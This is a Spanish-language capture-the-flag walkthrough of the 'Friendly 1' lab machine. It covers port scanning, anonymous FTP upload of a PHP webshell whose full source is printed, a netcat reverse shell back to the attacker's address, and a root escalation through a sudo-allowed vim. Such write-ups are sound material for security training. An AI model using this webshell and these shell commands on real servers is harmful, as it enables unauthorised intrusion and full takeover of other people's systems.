Friendly 1 - Walkthrough

Última actualización hace 11 meses

Friendly 1 - Walkthrough

Introducción

Técnicas abordadas:

FTP upload webshell
Abuse vim binary

Fase de reconocimiento

Escaneo de puertos sobre la máquina con nmap.

> nmap -p- --open -Pn -n -T5 10.100.2.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 17:09 CET
Nmap scan report for 10.100.2.28
Host is up (0.00053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http
MAC Address: 00:0C:29:30:30:71 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds

Observamos que los puertos 21 (FTP) y 80 (HTTP) están abiertos y lanzamos un escaneo con nmap de scripts reconocimiento básicos para obtener más información.

El servicio FTP permite el acceso vía usuario anonymous.

> nmap -p21,80 -sCV 10.100.2.28       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 17:19 CET
Nmap scan report for 10.100.2.28
Host is up (0.00026s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 00:0C:29:30:30:71 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.11 seconds

Procedemos a conectarnos al servicio FTP con la cuenta anonymous. Listamos el directorio y vemos que existe el fichero index.html. Nos descargamos el fichero usando el comando get index.html.

Visualizamos el fichero vía navegador y corresponde al fichero default de Apache.

> ftp 10.100.2.28
Connected to 10.100.2.28.
220 ProFTPD Server (friendly) [::ffff:10.100.2.28]
Name (10.100.2.28:ronin): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: 
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||37884|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
226 Transfer complete
ftp> get index.html
local: index.html remote: index.html
229 Entering Extended Passive Mode (|||4871|)
150 Opening BINARY mode data connection for index.html (10725 bytes)
100% |***********************************************************************************************************************************************************************************************| 10725      106.54 MiB/s    00:00 ETA
226 Transfer complete
10725 bytes received in 00:00 (4.72 MiB/s)

Fase de explotación

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>

Subimos el fichero rev.php que contiene el código anterior, por el protocolo FTP.

ftp> put rev.php
local: rev.php remote: rev.php
229 Entering Extended Passive Mode (|||1639|)
150 Opening BINARY mode data connection for rev.php
100% |*************************************************************|   268        2.90 MiB/s    00:00 ETA
226 Transfer complete
268 bytes sent in 00:00 (565.26 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||35215|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
-rw-r--r--   1 ftp      nogroup       268 Mar 30 17:00 rev.php
226 Transfer complete

Mediante el navegador accedemos a la ruta http://10.100.2.28/rev.php y comprobamos que tenemos acceso a la webshell.

En mi máquina de atacante, nos ponemos en escucha por el puerto 2928.

# nc -lvnp 2928                      
listening on [any] 2928 ...

Lanzamos una reverse shell vía netcat apuntando a la ip de nuestra máquina atacante por el puerto en escucha abierto anteriormente.

nc -c sh 10.100.2.27 2928

Obtenemos acceso a la máquina víctima y lo comprobamos listando el contenido.

# nc -lvnp 2928                      
listening on [any] 2928 ...
connect to [10.100.2.27] from (UNKNOWN) [10.100.2.28] 34126
ls
index.html
rev.php

Realizamos el tratamiento de la TTY para mejorar la interfaz de la bash.

script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@friendly:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 2928
                                                                                                                                                                                                                                            
# stty raw -echo; fg
[1]  + continued  nc -lvnp 2928
                               export TERM=xterm
www-data@friendly:/var/www/html$ stty rows 61 columns 236

En el directorio RiJaba1 encontramos diferentes directorios y archivos, entre ellos el token del user.

www-data@friendly:/var/www/html$ cd /home/
www-data@friendly:/home$ ls
RiJaba1
www-data@friendly:/home$ cd RiJaba1
www-data@friendly:/home/RiJaba1$ ls
CTF  Private  YouTube  user.txt
www-data@friendly:/home/RiJaba1$ cat user.txt
b8cff8c**********7b4475acd6

Revisamos el resto de directorios dentro de /RiJaba1 y no obtenemos información relevante.

Escalada de privilegios

Listamos los permisos sudo que tiene el usuario www-data. Encontramos que tiene ejecución del binario vim como sudo.

www-data@friendly:/var/www/html$ sudo -l
Matching Defaults entries for www-data on friendly:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on friendly:
    (ALL : ALL) NOPASSWD: /usr/bin/vim

Lanzamos el comando indicado en la web y comprobamos que somos root.

www-data@friendly:/var/www/html$ sudo vim -c ':!/bin/sh'

> whoami
root

Realizamos nuevamente el tratamiento de la TTY.

script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@friendly:/home/RiJaba1# ^Z
zsh: suspended  nc -lvnp 2928
                                                                                                                                                                                                                                            
# stty raw -echo; fg
[1]  + continued  nc -lvnp 2928
                               export TERM=xterm
root@friendly:/home/RiJaba1# stty rows 61 columns 236

Nos dirigimos a la raíz de usuario root y encontramos los ficheros root.txt y interfaces.sh. Mostramos el contenido del fichero root.txt pero no obtenemos el token.

root@friendly:~# cd /root
root@friendly:~# ls
interfaces.sh  root.txt
root@friendly:~# cat root.txt
Not yet! Find root.txt.

Tras ver el siguiente mensaje obtenemos una pista de como encontrar el token usando el comando find sobre la raíz del sistema. Nos muestra dos rutas una la del directorio root que es el anterior fichero visualizado y la siguiente ruta /var/log/apache2/root.txt. Encontramos el token correcto dando por finalizada la máquina.

root@friendly:~# find / -name root.txt
/var/log/apache2/root.txt
/root/root.txt
root@friendly:~# cat /var/log/apache2/root.txt
66b***8f3*********3e28***